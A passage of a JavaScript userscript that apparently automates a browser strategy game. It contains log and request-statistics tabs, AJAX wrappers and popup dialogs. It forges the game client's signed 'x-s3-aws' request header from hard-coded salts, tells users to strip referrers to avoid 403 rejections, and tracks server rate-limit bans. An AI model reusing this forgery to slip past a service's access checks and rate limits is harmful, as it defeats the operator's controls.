				div.innerHTML = '' + '<ul class=tabs>' + '	<li class="tab first"><a id=' + setUID('tabLogActions') + '>' + translate('Actions') + '</a></li>' + '	<li class=tab><a id=' + setUID('tabLogConsole') + '>' + translate('Console') + '</a></li>' + '	<li class=tab><a id=' + setUID('tabLogRequest') + '>' + translate('Statistics') + '</a></li>' + '</ul>' + '<div id=' + setUID('tabLog_Title') + ' class=' + UID['title'] + '>' + translate('Action Log') + '</div>' + '<div id=' + setUID('tabLog_DivAction') + ' class=' + UID['status_ticker'] + ' style="height:665px; max-height:665px; overflow-y:auto;">' + '	<table id=' + setUID('tabLog_ContAction') + ' class=' + UID['table_console'] + ' cellspacing=1 width=100%>' + '	<tr>' + '		<td class=' + UID['underline'] + ' width=5%></td>' + '		<td class=' + UID['underline'] + ' width=95%></td>' + '	</tr>' + '	</table>' + '</div>' + '<div id=' + setUID('tabLog_DivConsole') + ' class=' + UID['status_ticker'] + ' style="height:665px; max-height:665px; overflow-y:auto;">' + '	<table id=' + setUID('tabLog_ContConsole') + ' class=' + UID['table_console'] + ' cellspacing=1 width=100%>' + '	<tr>' + '		<td class=' + UID['underline'] + ' width=5%></td>' + '		<td class=' + UID['underline'] + ' width=95%></td>' + '	</tr>' + '	</table>' + '</div>' + '<div id=' + setUID('tabLog_DivRequest') + ' class=' + UID['status_ticker'] + ' style="height:665px; max-height:665px; overflow-y:auto;">' + '	<div id=' + setUID('tabLog_ContRequest') + '>' + '	</div>' + '	<br/>' + '	<center><input id=' + setUID('tabLogRequest_Clear') + ' type=button value="' + translate('Clear Stats') + '" /></center>' + '	<br>'; + '</div>';
				t.content.push(document.getElementById(UID['tabLog_ContAction']));
				t.content.push(document.getElementById(UID['tabLog_ContConsole']));
				t.content.push(document.getElementById(UID['tabLog_ContRequest']));
				t.title = document.getElementById(UID['tabLog_Title']);
				document.getElementById(UID['tabLogActions']).addEventListener('click', t.tabLogActions, false);
				document.getElementById(UID['tabLogConsole']).addEventListener('click', t.tabLogConsole, false);
				document.getElementById(UID['tabLogRequest']).addEventListener('click', t.tabLogRequest, false);
				document.getElementById(UID['tabLogRequest_Clear']).addEventListener('click', function() {
					t.clearRequestStats();
					t.tabLogRequest();
				}, false);

				t.state = 1;
				for (var i = 0; i < Data.log.length && i < 2; ++i) {
					var log = Data.log[i];
					for (var j = 0; j < log.length; ++j)
						t._addRow(log[j].msg, log[j].ts, i);
				}
				if (!Data.stats.requests.start_at) Data.stats.requests.start_at = serverTime();
				t.tabLogActions();
			},

			tabLogActions: function() {
				var t = Tabs.Log;
				clearTimeout(t.timer);
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabLogActions']).className = 'selected';
				document.getElementById(UID['tabLogActions']).style.zIndex = 1;
				t.lastSubTab = 'tabLogActions';
				t.content[0].parentNode.style.display = 'block';
				t.content[1].parentNode.style.display = 'none';
				t.content[2].parentNode.style.display = 'none';
				t.title.innerHTML = translate('Action Log');
			},
			tabLogConsole: function() {
				var t = Tabs.Log;
				clearTimeout(t.timer);
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabLogConsole']).className = 'selected';
				document.getElementById(UID['tabLogConsole']).style.zIndex = 1;
				t.lastSubTab = 'tabLogConsole';
				t.content[1].parentNode.style.display = 'block';
				t.content[0].parentNode.style.display = 'none';
				t.content[2].parentNode.style.display = 'none';
				t.title.innerHTML = translate('Console Log');
			},
			tabLogRequest: function() {
				var t = Tabs.Log;
				clearTimeout(t.timer);
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabLogRequest']).className = 'selected';
				document.getElementById(UID['tabLogRequest']).style.zIndex = 1;
				t.lastSubTab = 'tabLogRequest';
				t.content[2].parentNode.style.display = 'block';
				t.content[0].parentNode.style.display = 'none';
				t.content[1].parentNode.style.display = 'none';
				t.title.innerHTML = translate('Requests Log');
				t.dispRequests();
				t.timer = setTimeout(t.tabLogRequest, 1000);
			},
			clearRequestStats: function() {
				var t = Tabs.Log;
				Data.stats.requests.start_at = serverTime();
				Data.stats.requests.last_block = 0;
				Data.stats.requests.count_block = 0;
				Data.stats.requests.ajax_type = {
					binary: {
						time: [],
						error: []
					},
					versions: {
						time: [],
						error: []
					},
					locales: {
						time: [],
						error: []
					},
					cookie: {
						time: [],
						error: []
					},
					manifest: {
						time: [],
						error: []
					},
					player: {
						time: [],
						error: []
					},
					cities: {
						time: [],
						error: []
					},
					jobs: {
						time: [],
						error: []
					},
					dragons: {
						time: [],
						error: []
					},
					alliances: {
						time: [],
						error: []
					},
					membership: {
						time: [],
						error: []
					},
					activity: {
						time: [],
						error: []
					},
					map: {
						time: [],
						error: []
					},
					tile_at: {
						time: [],
						error: []
					},
					building: {
						time: [],
						error: []
					},
					research: {
						time: [],
						error: []
					},
					training: {
						time: [],
						error: []
					},
					resurrect: {
						time: [],
						error: []
					},
					canceljob: {
						time: [],
						error: []
					},
					marches: {
						time: [],
						error: []
					},
					cancelmarch: {
						time: [],
						error: []
					},
					reports: {
						time: [],
						error: []
					},
					reports_del: {
						time: [],
						error: []
					},
					reports_read: {
						time: [],
						error: []
					},
					message: {
						time: [],
						error: []
					},
					minigame: {
						time: [],
						error: []
					},
					save_minigame: {
						time: [],
						error: []
					},
					leaderboards: {
						time: [],
						error: []
					},
					collect: {
						time: [],
						error: []
					},
					claim: {
						time: [],
						error: []
					},
					defended: {
						time: [],
						error: []
					},
					defense: {
						time: [],
						error: []
					},
					items: {
						time: [],
						error: []
					},
					breeding: {
						time: [],
						error: []
					},
					feeding: {
						time: [],
						error: []
					},
					dragonHandle: {
						time: [],
						error: []
					}
				};
			},
			dispRequests: function() {
				var t = Tabs.Log;
				var total_requests = 0,
					total_last_hour = 0,
					error_requests = 0,
					error_last_hour = 0;
				Data.stats.requests.run_time = serverTime() - Data.stats.requests.start_at;
				var not_blocked_since = serverTime() - Data.stats.requests.last_block;
				var run_time = (Data.stats.requests.run_time > 0) ? (Data.stats.requests.run_time / 3600) : 1;
				var m = '<table id=' + setUID('tabLog_Requests') + ' class=' + UID['row_style'] + ' cellspacing=1 width=100%>' + '	<tr class=' + UID['row_headers'] + ' align=center>' + '		<td width=55%>' + translate('Request') + '</td>' + '		<td width=16%>' + translate('Total') + '</td>' + '		<td width=13%>' + translate('Per hour') + '</td>' + '		<td width=16%>' + translate('Last hour') + '</td>' + '	</tr>';
				for (var req_type in Data.stats.requests.ajax_type) {
					if (req_type == 'binary') continue;
					var perHour = Math.round(Data.stats.requests.ajax_type[req_type].time.length / run_time);
					var last_hour = 0,
						err_last_hour = 0;
					for (var i = 0; i < Data.stats.requests.ajax_type[req_type].time.length; i++) {
						if (toNum(serverTime()) - Data.stats.requests.ajax_type[req_type].time[i] < 3600) last_hour++;
					}
					for (var i = 0; i < Data.stats.requests.ajax_type[req_type].error.length; i++) {
						if (toNum(serverTime()) - Data.stats.requests.ajax_type[req_type].error[i] < 3600) err_last_hour++;
					}
					var this_total = Data.stats.requests.ajax_type[req_type].time.length;
					var this_error = Data.stats.requests.ajax_type[req_type].error.length;
					total_requests += this_total;
					total_last_hour += last_hour;
					error_requests += this_error;
					error_last_hour += err_last_hour;
					var err1 = (this_error > 0) ? '&nbsp;(<font color=red>' + this_error + '</font>)' : '';
					var err2 = (err_last_hour > 0) ? '&nbsp;(<font color=red>' + err_last_hour + '</font>)' : '';
					m += '	<tr valign=top>' + '		<td class=right width=55%>' + translate('ajax-req-' + req_type) + ' :</td>' + '		<td align=right width=16%>' + numf(this_total, ' ') + err1 + '</td>' + '		<td align=right width=13%>' + numf(perHour, ' ') + '</td>' + '		<td align=right width=16%>' + numf(last_hour, ' ') + err2 + '</td>' + '	</tr>';
				}
				var perHour = Math.round(total_requests / run_time);
				var err1 = (error_requests > 0) ? '&nbsp;(' + error_requests + ')' : '';
				var err2 = (error_last_hour > 0) ? '&nbsp;(' + error_last_hour + ')' : '';
				m += '	<tr><td colspan=2>&nbsp</td></tr>' + '	<tr><td>&nbsp</td><td colspan=3 align=center><hr></td></tr>' + '	<tr valign=top>' + '		<td class=right width=55%>' + translate('Total') + ' :</td>' + '		<td align=right width=16%><font color=red><b>' + numf(total_requests, ' ') + err1 + '</b></font></td>' + '		<td align=right width=13%>' + numf(perHour, ' ') + '</td>' + '		<td align=right width=16%><font color=red><b>' + numf(total_last_hour, ' ') + err2 + '</b></font></td>' + '	</tr>' + '	<tr><td colspan=4>&nbsp</td></tr>' + '	<tr valign=top>' + '		<td class=right width=55%>' + translate('Start Date') + ' :</td>' + '		<td align=left colspan=3>' + new Date(Data.stats.requests.start_at * 1000).myString() + '</td>' + '	</tr>' + '	<tr valign=top>' + '		<td class=right width=55%>' + translate('Run Time') + ' :</td>' + '		<td align=left colspan=3>' + timestr(Data.stats.requests.run_time, true) + '</td>' + '	</tr>' + '	<tr valign=top>' + '		<td class=right width=55%>' + translate('Number of one-hour-bans') + ' :</td>' + '		<td align=left colspan=3>' + numf(Data.stats.requests.count_block, ' ') + '</td>' + '	</tr>' + '	<tr valign=top>' + '		<td class=right width=55%>' + translate('Last Block') + ' :</td>' + '		<td align=left colspan=3>' + new Date(Data.stats.requests.last_block * 1000).myString() + '</td>' + '	</tr>' + '	<tr valign=top>' + '		<td class=right width=55%>' + translate('Not blocked since') + ' :</td>' + '		<td align=left colspan=3>' + timestr(not_blocked_since, true) + '</td>' + '	</tr>' + '</table>';
				var element = document.getElementById(UID['tabLog_ContRequest']);
				if (element != null) element.innerHTML = m;
			},
			hide: function() {
				var t = Tabs.Log;
				clearTimeout(t.timer);
			},
			show: function() {
				var t = Tabs.Log;
				if (t.lastSubTab == 'tabLogRequest') t.timer = setTimeout(t.tabLogRequest, 1000);
			},
			_addRow: function(msg, ts, to) {
				var t = Tabs.Log;
				var n = to ? to : 0;
				if (t.state != 1) return;
				if (t.content[n].rows.length > t.maxEntries)
					t.content[n].deleteRow(t.maxEntries - 1);
				var row = t.content[n].insertRow(0);
				var ts_cell = row.insertCell(0);
				var msg_cell = row.insertCell(1);
				ts_cell.className = 'jewel';
				ts_cell.innerHTML = '(&nbsp;' + ts + '&nbsp;)&nbsp;';
				msg_cell.innerHTML = wordwrap(msg, 90, '<br />', true);
				msg_cell.style.whiteSpace = 'normal';
				
				function wordwrap( str, width, brk, cut ) {
				 
					brk = brk || '\n';
					width = width || 75;
					cut = cut || false;
				 
					if (!str) { return str; }
				 
					var regex = '.{1,' +width+ '}(\\s|$)' + (cut ? '|.{' +width+ '}|.+$' : '|\\S+?(\\s|$)');
				 
					return str.match( RegExp(regex, 'g') ).join( brk );
				 
				}
			},
			addMsg: function(msg, to) {
				if (Tabs.Log.tabDisabled) return;
				var t = Tabs.Log;
				var n = to ? to : 0;
				var ts = new Date().toTimeString().substring(0, 8);
				t._addRow(msg, ts, to);
				while (Data.log[n].length > t.saveEntries)
					Data.log[n].shift();
				Data.log[n].push({
					msg: msg,
					ts: ts
				});
			}
		}

		function actionLog(msg) {
			Tabs.Log.addMsg(msg, 0);
		}

		function consoleLog(msg) {
			Tabs.Log.addMsg(msg, 1);
		}

		function verboseLog(msg) {
			if (Data.options && Data.options.verboseLog.enabled) consoleLog(msg);
		}

		/********************************************************************************
		 * MyAjaxRequest : Performs the following actions:
		 *  - Places all parameters into an object
		 *  - Determines method
		 *  - Sets maximum timeout
		 *  - Validates returned data and passes back results to originating function
		 *
		 * Returns the following data:
		 *  - ok (boolean)
		 *  - dat (object if present)
		 *  - errmsg (string if present)
		 ********************************************************************************/

		function MyAjaxRequest(req_type, url, params, callback, isPost, binary) {

			if (Data.stats.requests == null || !Data.stats.requests) {
				Data.stats.requests = {
					start_at: 0,
					run_time: 0,
					last_block: 0,
					count_block: 0,
					ajax_type: {}
				};
			}
			if (Data.stats.requests.ajax_type == null || !Data.stats.requests.ajax_type) {
				Data.stats.requests.ajax_type = {
					binary: {
						time: [],
						error: []
					},
					versions: {
						time: [],
						error: []
					},
					locales: {
						time: [],
						error: []
					},
					cookie: {
						time: [],
						error: []
					},
					manifest: {
						time: [],
						error: []
					},
					player: {
						time: [],
						error: []
					},
					cities: {
						time: [],
						error: []
					},
					jobs: {
						time: [],
						error: []
					},
					dragons: {
						time: [],
						error: []
					},
					alliances: {
						time: [],
						error: []
					},
					membership: {
						time: [],
						error: []
					},
					activity: {
						time: [],
						error: []
					},
					map: {
						time: [],
						error: []
					},
					tile_at: {
						time: [],
						error: []
					},
					building: {
						time: [],
						error: []
					},
					research: {
						time: [],
						error: []
					},
					training: {
						time: [],
						error: []
					},
					resurrect: {
						time: [],
						error: []
					},
					canceljob: {
						time: [],
						error: []
					},
					marches: {
						time: [],
						error: []
					},
					cancelmarch: {
						time: [],
						error: []
					},
					reports: {
						time: [],
						error: []
					},
					reports_del: {
						time: [],
						error: []
					},
					reports_read: {
						time: [],
						error: []
					},
					message: {
						time: [],
						error: []
					},
					minigame: {
						time: [],
						error: []
					},
					save_minigame: {
						time: [],
						error: []
					},
					leaderboards: {
						time: [],
						error: []
					},
					collect: {
						time: [],
						error: []
					},
					claim: {
						time: [],
						error: []
					},
					defended: {
						time: [],
						error: []
					},
					defense: {
						time: [],
						error: []
					},
					items: {
						time: [],
						error: []
					},
					breeding: {
						time: [],
						error: []
					},
					feeding: {
						time: [],
						error: []
					},
					dragonHandle: {
						time: [],
						error: []
					},
					customization: {
						time: [],
						error: []
					},
					trade: {
						time: [],
						error: []
					},
					forge: {
						time: [],
						error: []
					},
                    other: {
                        time: [],
                        error: []
                    }
				};
			}

			var options = {
				onSuccess: onSuccess,
				onFailure: onFailure,
				on403: on403
			};
			var ajax, msg, headers = {};

			options.method = (isPost || isPost == 1) ? 'POST' : 'GET';
			options.parameters = params;
			options.timeoutSecs = 60;
			options.binary = binary;

			function onSuccess(r) {
				var success = true,
					errmsg = '';
				if (r.status === 200 && r.responseText) {
					if (url.indexOf(".xml") !== -1 || binary) {
						callback({
							ok: true,
							dat: r.responseText
						});
					} else {
						var data = r.responseText;
						try {
							data = JSON.parse(r.responseText);
							if (data.result) {
								success = data.result.success;
								if (!success && data.result.reason) errmsg = data.result.reason;
								else if (!success && data.result && data.result.errors) {
									if (typeof data.result.errors == "string")
										errmsg = data.result.errors
									else errmsg = data.result.errors.join(' ');
								} else if (!success && !data.result && data.errors) {
									if (typeof data.errors == "string")
										errmsg = data.errors
									else errmsg = data.errors.join(' ');
								}
							}
						} catch (e) {
							logit('could not parse responseText = ' + r.responseText);
							success = false;
							errmsg = r.responseText;
						}
						callback({
							ok: success,
							dat: data,
							errmsg: errmsg
						});
					}
				} else {
					msg = 'The request was successful but no data was returned';
					callback({
						ok: false,
						errmsg: msg
					});
				}
			}

			function onFailure(r) {
				if (Data.stats.requests.ajax_type) {
					if (Data.stats.requests.ajax_type[req_type]) Data.stats.requests.ajax_type[req_type].error.push(toNum(serverTime()));
					else logit('MyAjaxRequest, ' + req_type + ' not defined in Data.stats.requests.ajax_type');
				}
				var res = {
					ok: false,
					status: r.status,
					errmsg: r.statusText
				};
				if (r.status > 200 && r.responseText && !(/(404|429|502|509)/.test(r.status))) {
					res.dat = r.responseText;
					res.errmsg = r.responseText;
				} else if (r.status == 404) {
					res.errmsg = 'The page you were looking for doesn\'t exist (404)';
				} else if (r.status == 429) {
					if (!E429_TIMER || (E429_TIMER - toNum(serverTime())) < 0) {
						E429_TIMER = toNum(serverTime()) + 3600;
						Data.stats.requests.last_block = toNum(serverTime());
						Data.stats.requests.count_block++;
					}
					res.errmsg = '<b>API </b>' + translate('<b>Rate Limit Exceeded</b>, too many requests!');
				} else if (r.status == 502) {
					res.errmsg = (r.statusText || 'Bad gateway');
				} else if (r.status == 509) {
					res.errmsg = translate('<b>Rate Limit Exceeded</b>, too many requests!');
				} else {
					res.errmsg = 'This browser is not compatible at this time';
				}
				callback(res);
			}

			function on403(r) {
				dialogFatal('<b>' + kFatalSeedTitle + '</b><br><br>' + '<br>' + '<font color="#C00"><b> ' + r.statusText + '</b></font>' + '<br><br><div align=left>' + '<b>Previous Requirements</b><br><br>' + '<b>FIREFOX</b>' + '<ul><li>Download and install <a href="https://addons.mozilla.org/es-ES/firefox/addon/refcontrol/">RefControl</a>' + '</li><li>Once installed click Tools - RefControlOptions' + '</li><li>Click Add Site and type in <b>wonderhill.com</b>' + '</li><li>Check the Block - Send no referer radio box' + '</li><li>Click OK and then OK again' + '</li></ul><br>' + '<b>CHROME</b>' + '<ul><li>Right click on your "Chrome" icon (either on your Desktop or your Taskbar)' + '</li><li>Choose properties' + '</li><li>At the end of your target line, place these parameters: <b>--no-referrers</b>' + '</li><li>Click OK' + '</li></ul><br><br></div>' + '<a id="' + UID['support_link'] + '" href="" target="_blank">Bugs and Known Issues</a><br>');
				var res = {
					ok: false,
					status: r.status,
					errmsg: r.statusText
				};
				callback(res);
			}

			if (E429_TIMER && (E429_TIMER - toNum(serverTime())) > 0) {
				onFailure({
					status: 429,
					statusText: 'lock by script'
				});
			} else {
				if (Data.stats.requests.ajax_type) {
					if (Data.stats.requests.ajax_type[req_type]) Data.stats.requests.ajax_type[req_type].time.push(toNum(serverTime()));
					else logit('MyAjaxRequest, ' + req_type + ' not defined in Data.stats.requests.ajax_type');
				}
				ajax = new AjaxRequest(url, options);
			}
		}

		/********************************************************************************
		 * AjaxRequest : Performs the following actions:
		 *  - Generates an appropriate request header
		 *  - Parses the request parameters
		 *  - Sends the actual request
		 *  - Determines if request was successful based on returned status only
		 *  - Handles a request timed out condition
		 *
		 * Returns the following data:
		 *  - responseText (should be JSON but could be almost anything)
		 *  - status (integar)
		 *  - statusText (string if present)
		 *  - ajax (raw ajax request)
		 ********************************************************************************/

		function AjaxRequest(url, opts) {
			var timer = null,
				ajax, headers = {}, h, params, overrideMimeType;

			function onreadystatechange(ajax) {
				if (ajax.readyState === 4) {
					clearTimeout(timer);
					var response = {
						responseText: ajax.responseText,
						status: ajax.status,
						statusText: ajax.statusText,
						ajax: ajax
					}
					if ((ajax.status >= 200 && ajax.status < 300) || ajax.status === 304) {
						if (opts.onSuccess) opts.onSuccess(response);
					} else {
						debugLog(url + ' Failed : ' + inspectObj(response, 8, 1));
						if (opts.onFailure) opts.onFailure(response);
						if (opts['on' + ajax.status])
							opts['on' + ajax.status](response);
					}
				}
			}
            function ontimeout(resp) {
                clearTimeout(timer);
                var response = {
                    responseText	: null,
                    status				: 599,
                    statusText		: 'Request Timed Out',
                    ajax				: resp
                };
                debugLog(url + ' Failed : ' + inspectObj(response, 8, 1));
                if (opts.onFailure) opts.onFailure(response);
                if (opts['on' + ajax.status])
                    opts['on' + ajax.status](response);
			}
			url = ((url.indexOf('http') == -1) ? C.attrs.apiServer + '/' + url : url);
			/* Parse request parameters */
			params = typeof opts === 'string' ? opts.parameters : Object.toQueryString(opts.parameters).replace(/\_/g, '%5F').replace(/\(/g, '%28').replace(/\)/g, '%29');

			/* Change Accept request header based on browser */
			headers['Accept'] = IsChrome ? '*/*' : 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8,*/*;q=0.6,*/*;q=0.4';
			/* Add request header specific to POST request only */
			if (opts.method == 'POST') {
				headers['x-s3-aws'] = SHA1("Draoumculiasis" + params + "LandCrocodile" + url + "Bevar-Asp");
				headers['content-type'] = 'application/x-www-form-urlencoded';
			} else {
				if (params.length > 0) url += (url.include('?') ? '&' : '?') + params;
			}
			if (opts && opts.headers && opts.headers.overrideMime) overrideMimeType = opts.headers.overrideMime;
			/* change content-type and mime type if binary function */
			if (opts.binary) {
				headers['content-type'] = 'text/plain; charset=x-user-defined';
				overrideMimeType = 'text/plain; charset=x-user-defined';
			}

			var isGM = typeof GM_info === 'object' && typeof GM_info.version === 'string' && typeof GM_getValue != 'undefined' && typeof GM_getValue('a', 'b') != 'undefined';
			if (typeof GM_xmlhttpRequest === 'function' && isGM) {
				GM_xmlhttpRequest({
					method: opts.method,
					url: url,
					data: (opts.method === 'POST' ? params : null),
					headers: headers,
					overrideMimeType: overrideMimeType,
                    timeout : ( opts.timeoutSecs ? opts.timeoutSecs*1000 : 0 ),
					ontimeout: ontimeout,
					onreadystatechange: onreadystatechange
				});
			} else {
				ajax = new XMLHttpRequest();
				if (overrideMimeType) ajax.overrideMimeType(overrideMimeType);
				ajax.onreadystatechange = function() {
					if (ajax.readyState === 4) {
						clearTimeout(timer);
						var response = {
							responseText: ajax.responseText,
							status: ajax.status,
							statusText: ajax.statusText,
							ajax: ajax
						}
						if ((ajax.status >= 200 && ajax.status < 300) || ajax.status === 304) {
							if (opts.onSuccess) opts.onSuccess(response);
						} else {
							if (opts.onFailure) opts.onFailure(response);
							if (opts['on' + ajax.status])
								opts['on' + ajax.status](response);
						}
					}
				}
				ajax.open(opts.method, url, true);
				/* Add request headers to ajax request */
				for (h in headers) ajax.setRequestHeader(h, headers[h]);
				if (opts.timeoutSecs) timer = setTimeout(function() {
					ajax.abort();
					if (opts.onFailure) {
						/* CHECK: 599 is custom error code. See if better option exists. */
						opts.onFailure({
							responseText: null,
							status: 599,
							statusText: 'Request Timed Out',
							ajax: ajax
						});
					}
				}, opts.timeoutSecs * 1000);
				/* Send request with params if POST otherwise just send request */
				ajax.send((opts.method == 'POST') ? params : null);
			}
		}


		/******************************** Modal dialog function ***********************/
		var downloadDataURI = function(options) {
			if (!options || !options.data) return;
			if (options.data && !options.filename) options.filename = "download." + options.data.split(",")[0].split(";")[0].substring(5).split("/")[1]
			if (!options.url) options.url = "https://download-data-uri.appspot.com/" /* https instead of http */
			var t = '<FORM method="post" action="' + options.url + '" style="display:none">' + '<input type="hidden" name="filename" value="' + options.filename + '"/>' + '<input type="hidden" name="data" value="' + options.data + '"/>' + '<input id=xxpbButSubmit type=submit value=SUBMIT></form>';
			var e = document.createElement('div');
			e.innerHTML = t;
			document.body.appendChild(e);
			setTimeout(function() {
				document.getElementById('xxpbButSubmit').click();
			}, 0);
		}

		function dialogConfirm(msg, onContinue, onCancel, two_buttons) {
			var save_popUp = {
				x: Data.options.popUp.x,
				y: Data.options.popUp.y
			};
			var confirmPop = new PopUp('newversion' + serverTime(), 800 + Math.randRange(1, 50), 300, 300, 150, true);
			confirmPop.getTopDiv().innerHTML = '<div class=' + UID['title'] + ' style="margin-top:5px; padding-top:5px;  padding-bottom:5px;"><center><b>' + scriptName + ': ' + translate('Confirmation') + '!</b></center></div>';
			var layoutDiv = document.createElement('div');
			layoutDiv.className = 'container';
			layoutDiv.style.backgroundColor = 'rgb(245,245,228)';
			layoutDiv.style.color = '#000';
			layoutDiv.style.height = '100%';
			var layout = '<table align=center valign=center style="height: 100%">' + '<tr align=center height=60%>' + '<td>' + msg + '</td>' + '</tr>' + '<tr align=center>' + '<td>' + '<input id=' + setUID('btn_ok') + ' type=button class=confirm_button value="' + translate('OK') + '" />';
			if (two_buttons) {
				layout += '	&nbsp; &nbsp;' + '<input id=' + setUID('btn_cancel') + ' type=button class=confirm_button value=' + translate('Cancel') + ' />';
			}
			layout += '</td></tr></table>';
			if (confirmPop.getMainDiv().lastChild)
				confirmPop.getMainDiv().removeChild(confirmPop.getMainDiv().lastChild);
			confirmPop.getMainDiv().appendChild(layoutDiv);
			layoutDiv.innerHTML = layout;

			document.getElementById(UID['btn_ok']).addEventListener('click', function() {
				confirmPop.show(false);
				Data.options.popUp = {
					open: Data.options.popUp.open,
					drag: Data.options.popUp.drag,
					x: save_popUp.x,
					y: save_popUp.y
				};
				if (onContinue && typeof(onContinue) == "function") onContinue();
			}, false);

			if (two_buttons) {
				document.getElementById(UID['btn_cancel']).addEventListener('click', function() {
					confirmPop.show(false);
					Data.options.popUp = {
						open: Data.options.popUp.open,
						drag: Data.options.popUp.drag,
						x: save_popUp.x,
						y: save_popUp.y
					};
					if (onCancel && typeof(onCancel) == "function") onCancel();
				}, false);
			}
			confirmPop.show(true);
		}

		function dialogCopyPaste() {
			var save_popUp = {
				x: Data.options.popUp.x,
				y: Data.options.popUp.y
			};
			var copyPastePop = new PopUp('copyPaste', 100, 50, 500, 750, true);
			copyPastePop.getTopDiv().innerHTML = '<div class=' + UID['title'] + ' style="width=90%; margin-top:5px; padding-top:5px;  padding-bottom:5px;"><center><b>' + scriptName + ': ' + translate('Message') + '!</b></center></div>';
			var layoutDiv = document.createElement('div');
			layoutDiv.className = 'container';
			layoutDiv.style.backgroundColor = 'rgb(245,245,228)';
			layoutDiv.style.color = '#000';
			layoutDiv.style.height = '100%';
			setUID('dcp_type');
			var layout = '<br><table width=80% align=center><tr>' + '	<td width=15%><label>' + translate('View') + '</label></td>' + '	<td width=5%><input type=radio name=' + UID['dcp_type'] + ' value=0 /></td><td align=left width=30%><label>' + translate('All') + '</label></td>' + '	<td width=5%><input type=radio name=' + UID['dcp_type'] + ' value=1 /></td><td align=left width=30%><label>' + translate('Map data') + '</label></td>' + '</tr></table>' + '<br>' + '<table class=jewel valign=center width=100%>' + '<tr align=center>' + '<td><div id=' + setUID('div_data') + ' style="height:610px; max-height:610; overflow-y:auto"></div></td>' + '</tr>' + '</table>' + '<br>' + '<table width=100%>' + '<tr align=center>' + '<td><input id=' + setUID('btn_ok') + ' type=button class=confirm_button value="' + translate('Close') + '" /></td>' + '</tr></table>';
			var child_found = true;
			while (child_found) {
				if (copyPastePop.getMainDiv().lastChild)
					copyPastePop.getMainDiv().removeChild(copyPastePop.getMainDiv().lastChild);
				else
					child_found = false;
			}
			copyPastePop.getMainDiv().appendChild(layoutDiv);
			layoutDiv.innerHTML = layout;
			document.getElementById(UID['btn_ok']).addEventListener('click', function() {
				copyPastePop.show(false);
				Data.options.popUp = {
					open: Data.options.popUp.open,
					drag: Data.options.popUp.drag,
					x: save_popUp.x,
					y: save_popUp.y
				};
			}, false);
			var r = document.getElementsByName(UID['dcp_type']);
			for (i = 0; i < r.length; i++) {
				r[i].addEventListener('change', enableChanged, false);
			}
			r[0].checked = true;
			show_all();

			function enableChanged(event) {
				if (toNum(event.target.value) == 1) show_map();
				else show_all();
			}

			function show_map() {
				try {
					var json_data = '{"map":' + JSON.stringify(Data.map) + '}';
				} catch (e) {}
				document.getElementById(UID['div_data']).innerHTML = '<textarea cols="110" rows="50" wrap="PHYSICAL">' + json_data + '</TEXTAREA>';
			}

			function show_all() {
				try {
					var keys = getKeys(Data.defaults);
					for (var i = 0; i < keys.length; i++) {
						if (/(marches|requests)/i.test(keys[i]))
							keys.splice(i, 1);
					}
					var json_data = '{';
					for (var i = 0; i < keys.length; i++) {
						var name = keys[i];
						try {
							json_data += '"' + name + '":' + JSON.stringify(Data[name]);
						} catch (e) {
							debugLog(e);
						}
						if (i < keys.length - 1) json_data += ','
					}
					json_data += '}';
				} catch (e) {}
				document.getElementById(UID['div_data']).innerHTML = '<textarea cols="110" rows="50" wrap="PHYSICAL">' + json_data + '</TEXTAREA>';
			}
			copyPastePop.show(true);
		}

		function dialogFatal(msg) {
			var pop = new PopUp('fatal', 800 + Math.randRange(1, 50), 300, 400, 300, true);
			pop.getTopDiv().innerHTML = '<div class=' + UID['title'] + '><center><b>' + scriptName + ': ' + translate('Error') + '!</b></center></div>';
			var layoutDiv = document.createElement('div');
			layoutDiv.className = 'container';
			layoutDiv.style.backgroundColor = 'rgb(245,245,228)';
			layoutDiv.style.color = '#000';
			layoutDiv.style.height = '100%';
			var layout = '<div style="height:270px; max-height:270px; overflow-y:auto">' + '<table width=100%><tr align=center><td width=96%><BR>' + msg + '</td></tr></table></div>';
			pop.getMainDiv().appendChild(layoutDiv);
			layoutDiv.innerHTML = layout;
			pop.show(true);
			document.getElementById(UID['support_link']).addEventListener('click', redirect, false);

			function redirect() {
				window.open(scriptUrlError, 'www.calciumscript.net');
			}
		}

		function dialogSendMsg(name, id, is_player) {
			var save_popUp = {
				x: Data.options.popUp.x,
				y: Data.options.popUp.y
			};
			var MsgSendPop = new PopUp('send_msg', 800 + Math.randRange(1, 50), 300, 500, 250, true);
			MsgSendPop.getTopDiv().innerHTML = '<div class=' + UID['title'] + ' style="margin-top:5px; padding-top:5px;  padding-bottom:5px;"><center><b>' + scriptName + ': ' + translate('Message') + '</b></center></div>';
			var layoutDiv = document.createElement('div');
			layoutDiv.className = 'container';
			layoutDiv.style.backgroundColor = 'rgb(245,245,228)';
			layoutDiv.style.color = '#000';
			layoutDiv.style.height = '100%';
			var layout = '<table class=' + UID['table'] + ' width=100% style="color:#000;">' + '	<tr valign=top>' + '		<td><label>' + translate('To') + ' :</label></td>' + '		<td><label><b>' + name + '</b></td>' + '	</tr><tr valign=top>' + '		<td><label>' + translate('Subject') + ' :</label></td>' + '		<td><input id=' + setUID('Message_subject') + ' size=50 maxlength=160 type=text /></td>' + '	</tr><tr valign=top>' + '		<td><label>' + translate('Message') + ' :</label></td>' + '		<td><textarea id=' + setUID('Message_body') + ' cols="60" rows="8" wrap="PHYSICAL"></textarea></td>' + '	</tr><tr align=center>' + '		<td colspan=2><br><input id=' + setUID('btn_ok') + ' type=button class="confirm_button" value="' + translate('Send') + '" />&nbsp; &nbsp; &nbsp;' + '			<input id=' + setUID('btn_cancel') + ' type=button class="confirm_button" value=' + translate('Cancel') + ' /></td>' + '	</tr>' + '</table>';
			if (MsgSendPop.getMainDiv().lastChild)
				MsgSendPop.getMainDiv().removeChild(MsgSendPop.getMainDiv().lastChild);
			MsgSendPop.getMainDiv().appendChild(layoutDiv);
			layoutDiv.innerHTML = layout;
			var butOk = document.getElementById(UID['btn_ok']);
			butOk.disabled = true;
			Element.removeClassName(butOk, "confirm_button");
			Element.addClassName(butOk, UID['btn_disabled']);

			function setButOk(event) {
				var subject = document.getElementById(UID['Message_subject']);
